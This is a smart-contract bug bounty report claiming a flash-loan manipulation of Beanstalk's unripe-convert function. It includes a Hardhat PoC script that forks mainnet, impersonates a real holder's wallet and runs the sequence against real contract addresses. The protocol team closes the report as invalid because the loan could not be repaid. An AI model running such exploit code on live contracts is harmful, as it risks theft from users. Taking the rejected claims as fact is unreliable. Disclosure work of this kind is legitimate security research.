Unripe unintentional for sale with flash loan, stalk available for cheaper than 1 bean
Report ID
#26873
Report type
Smart Contract
Has PoC?
Yes
Target
Impacts
- Illegitimate minting of protocol native assets
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
- Permanent freezing of funds
Bug Description
Using flashloans, it is possible to deposit many ETH to the Well, convert unripe, remove ETH from well, and flashloan return the ETH, making so one can purchase Unripe at price of 1 ETH = 8000 Unripe, for example, but the amount depends on unripe amount "purchased" (converted).
Also with this method, Stalk amount of 428,665 can be purchased for approx $286k, but normal price should be 1 bean for 1 stalk in new silo deposit.
In this example modify variable our_eth_balance
 amount and see how higher amounts results in cheaper unripe beans.
Impact
Makes no sense to use Beanstalk protocol normally (buy bean and put in silo), more sense to use flashloan attack and create more stalk for deposit. Also means that no logic to keep deposit in Beanstalk because infinite debt can be created for cheaper than debt is worth, so destroys value of entire protocol.
For extra profit/damage the attacker could create a contract to facilitate this attack and take a fee for performing attack.
This exploit is "Permanent freezing of funds" because attacker can simply create more and more debt, so all existing unripe funds are frozen, because debt would never be paid off.
Also this exploit is "Illegitimate minting of protocol native assets" because unripe can be created as much as you want, but it is not intentional of protocol. Also more stalk for cheaper than normal stalk for deposit.
Risk Breakdown
Difficulty to Exploit: Easy/Medium Weakness: "Illegitimate minting of protocol native assets", "Permanent freezing of funds" CVSS2 Score:
Recommendation
I saw for bounty payout requires POC code fix. For fix I would recommend to simply remove the unripe convert function. This means just comment out few lines of code. If you need example for full payout I can make one but I think you understand how this is simple to fix.
Proof of concept
Example code:
hardhat.config.js
require("@nomiclabs/hardhat-ethers");
module.exports = {
solidity: "0.7.6",
networks: {
hardhat: {
forking: {
url: "https://rpc.ankr.com/eth",
blockNumber: 18704195,
},
}
}
};
exploit.js
// Beanstalk unripe exploit (c) etemenankii 2023
// @etemenanki_i
// Some codes from open source Beanstalk repos
const { ConvertEncoder } = require("./encoder.js"); //copy this file from bean repo protocol/test/utils/encoder.js
const { ethers } = require("hardhat");
const hardhat = require("hardhat");
const { BigNumber } = require("ethers");
const weth_contract_address = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
const bean_eth_well_address = "0xBEA0e11282e2bB5893bEcE110cF199501e872bAd";
const beanstalk_diamond_address = "0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5";
const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");
async function setBalance(address) {
//ethers.utils.parseEther("10000005").toHexString() = 0x845955b7792ca8ef40000
await hardhat.network.provider.send("hardhat_setBalance", [address, "0x845955b7792ca8ef40000"]);
}
// From well_abi just need AddLiquidity event, RemoveLiquidityOneToken event and
// addLiquidity, removeLiquidityOneToken functions
const well_abi = [
{"anonymous": false,"inputs": [{"indexed": false,"internalType": "uint256[]","name": "tokenAmountsIn","type": "uint256[]"},{"indexed": false,"internalType": "uint256","name": "lpAmountOut","type": "uint256"},{"indexed": false,"internalType": "address","name": "recipient","type": "address"}],"name": "AddLiquidity","type": "event"},
{"anonymous": false,"inputs": [{"indexed": false,"internalType": "uint256","name": "lpAmountIn","type": "uint256"},{"indexed": false,"internalType": "contract IERC20","name": "tokenOut","type": "address"},{"indexed": false,"internalType": "uint256","name": "tokenAmountOut","type": "uint256"},{"indexed": false,"internalType": "address","name": "recipient","type": "address"}],"name": "RemoveLiquidityOneToken","type": "event"},
{"inputs": [{"internalType": "uint256[]","name": "tokenAmountsIn","type": "uint256[]"},{"internalType": "uint256","name": "minLpAmountOut","type": "uint256"},{"internalType": "address","name": "recipient","type": "address"},{"internalType": "uint256","name": "deadline","type": "uint256"}],"name": "addLiquidity","outputs": [{"internalType": "uint256","name": "lpAmountOut","type": "uint256"}],"stateMutability": "nonpayable","type": "function"},
{"inputs": [{"internalType": "uint256","name": "lpAmountIn","type": "uint256"},{"internalType": "contract IERC20","name": "tokenOut","type": "address"},{"internalType": "uint256","name": "minTokenAmountOut","type": "uint256"},{"internalType": "address","name": "recipient","type": "address"},{"internalType": "uint256","name": "deadline","type": "uint256"}],"name": "removeLiquidityOneToken","outputs": [{"internalType": "uint256","name": "tokenAmountOut","type": "uint256"}],"stateMutability": "nonpayable","type": "function"}
];
const weth_abi = [
{
constant: false,
inputs: [ { name: "guy", type: "address" }, { name: "wad", type: "uint256" }, ], name: "approve", outputs: [{ name: "", type: "bool" }], payable: false, stateMutability: "nonpayable", type: "function",
},
{
constant: false, inputs: [], name: "deposit", outputs: [], payable: true, stateMutability: "payable", type: "function",
},
{
constant: true, inputs: [{ name: "", type: "address" }], name: "balanceOf", outputs: [{ name: "", type: "uint256" }], payable: false, stateMutability: "view", type: "function",
},
];
const beanstalk_abi = [
{ "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "token", "type": "address" }, { "indexed": false, "internalType": "int96[]", "name": "stems", "type": "int96[]" }, { "indexed": false, "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" }, { "indexed": false, "internalType": "uint256", "name": "amount", "type": "uint256" }, { "indexed": false, "internalType": "uint256[]", "name": "bdvs", "type": "uint256[]" } ], "name": "RemoveDeposits", "type": "event" },
{ "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": true, "internalType": "address", "name": "token", "type": "address" }, { "indexed": false, "internalType": "int96", "name": "stem", "type": "int96" }, { "indexed": false, "internalType": "uint256", "name": "amount", "type": "uint256" }, { "indexed": false, "internalType": "uint256", "name": "bdv", "type": "uint256" } ], "name": "AddDeposit", "type": "event" },
{ "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "int256", "name": "delta", "type": "int256" }, { "indexed": false, "internalType": "int256", "name": "deltaRoots", "type": "int256" } ], "name": "StalkBalanceChanged", "type": "event" },
{ "inputs": [ { "internalType": "bytes", "name": "convertData", "type": "bytes" }, { "internalType": "int96[]", "name": "stems", "type": "int96[]" }, { "internalType": "uint256[]", "name": "amounts", "type": "uint256[]" } ], "name": "convert", "outputs": [ { "internalType": "int96", "name": "toStem", "type": "int96" }, { "internalType": "uint256", "name": "fromAmount", "type": "uint256" }, { "internalType": "uint256", "name": "toAmount", "type": "uint256" }, { "internalType": "uint256", "name": "fromBdv", "type": "uint256" }, { "internalType": "uint256", "name": "toBdv", "type": "uint256" } ], "stateMutability": "payable", "type": "function"
},
];
const main = async () => {
async function buyUnripe() {
console.log('==================== buy unripe ====================');
// Note this is not my wallet, just address found with unripe
const walletAddress = "0xeafc0e4acf147e53398a4c9ae5f15950332cce06";
const wallet = await ethers.getImpersonatedSigner(walletAddress);
const weth_contract = new ethers.Contract(weth_contract_address, weth_abi, provider);
const weth_with_wallet = weth_contract.connect(wallet);
this.diamond = beanstalk_diamond_address;
const well = new ethers.Contract(bean_eth_well_address, well_abi, provider);
const beanstalk = new ethers.Contract(beanstalk_diamond_address, beanstalk_abi, provider);
// Create some eth for us to use, this is like flashloan
setBalance(walletAddress);
// This variable can be changed to get a different rate of unripe per eth
var our_eth_balance = ethers.utils.parseEther("500000");
console.log("ETH balance for our account: ", our_eth_balance);
await weth_with_wallet.approve(bean_eth_well_address, our_eth_balance);
await weth_with_wallet.approve(weth_contract_address, our_eth_balance);
await weth_with_wallet.deposit({
value: our_eth_balance,
});
// Get our weth balance
var our_weth_balance = await weth_with_wallet.balanceOf(walletAddress);
console.log("WETH balance: ", our_weth_balance);
console.log("Well: addLiquidity");
const addResult = await well.connect(wallet).addLiquidity([0, our_eth_balance], "0", wallet.address, ethers.constants.MaxUint256, { gasLimit: 29000000 });
const addReceipt = await addResult.wait();
const wellInterface = new ethers.utils.Interface(well_abi);
var addedDelta = BigNumber.from(0);
var lpReceived = BigNumber.from(0);
addReceipt.logs.forEach((log) => {
try {
const parsedLog = wellInterface.parseLog(log);
if (parsedLog.name == "AddLiquidity") {
lpReceived = parsedLog.args.lpAmountOut;
}
} catch (error) {
// console.error(error);
}
});
console.log("LP tokan from trade: ", lpReceived);
// Convert unripe lp to unripe bean
// This numbers specific for this user
const convertTransaction = await beanstalk.connect(wallet).convert(ConvertEncoder.convertUnripeBeansToLP(174105211937, 0), ["-19986"], [174105211937]);
const convertReceipt = await convertTransaction.wait();
const iface = new ethers.utils.Interface(beanstalk_abi);
var addedDelta = BigNumber.from(0);
var stalkDelta = BigNumber.from(0);
convertReceipt.logs.forEach((log) => {
try {
const event = iface.parseLog(log);
if (event.name == "RemoveDeposits") {
console.log("RemoveDeposits amount: ", ethers.utils.formatUnits(event.args.amounts[0], 6));
addedDelta = addedDelta.sub(event.args.amounts[0]);
console.log("Amount: ", addedDelta);
}
if (event.name == "AddDeposit") {
console.log("AddDeposit amount: ", ethers.utils.formatUnits(event.args.amount.toString(), 6));
addedDelta = addedDelta.add(event.args.amount);
console.log("Amount: ", addedDelta);
}
if (event.name == "StalkBalanceChanged") {
stalkDelta = stalkDelta.add(event.args.delta);
console.log("StalkBalanceChanged stalk delta: ", ethers.utils.formatUnits(event.args.delta.toString(), 10));
}
} catch (error) {
// console.error(error);
}
});
// Now remove the liquidity we added at beginning
const removeLiq = await well.connect(wallet).removeLiquidityOneToken(lpReceived, weth_contract_address, 0, wallet.address, ethers.constants.MaxUint256);
const removeLiqReceipt = await removeLiq.wait();
var weth_out = BigNumber.from(0);
removeLiqReceipt.logs.forEach((log) => {
try {
const parsedLog = wellInterface.parseLog(log);
if (parsedLog.name == "RemoveLiquidityOneToken") {
weth_out = parsedLog.args.tokenAmountOut;
}
} catch (error) {
// console.error(error);
}
return;
});
console.log("weth_out: ", weth_out);
// Calculate ETH cost
var weth_delta = our_eth_balance.sub(weth_out);
console.log("RESULT: Cost of ", ethers.utils.formatUnits(weth_delta, 18), " ETH to recieve ", ethers.utils.formatUnits(addedDelta, 6), " unripe beans");
var unripeBeanPerEth = parseFloat(ethers.utils.formatUnits(addedDelta, 6)) / parseFloat(ethers.utils.formatUnits(weth_delta, 18));
console.log("Unripe beans cost per eth: ", unripeBeanPerEth);
}
await buyUnripe();
console.log("==================== FINISH ====================");
};
main();
Example outputs:
RESULT: Cost of 143.937864450196709553 ETH to recieve 1180740.375785 unripe beans
Unripe beans cost per eth: 8203.125565987139
RESULT: Cost of 35.788542778566156655 ETH to recieve 277756.744298 unripe beans
Unripe beans cost per eth: 7761.05207793901
BIC Response
This is not a valid bug report because the amount of WETH that the account owns at the end of the transaction is going to be significantly less than the amount borrowed, and thus will not be able pay back the loan.
Due to these reasons, we are closing the submission and no reward will be issued.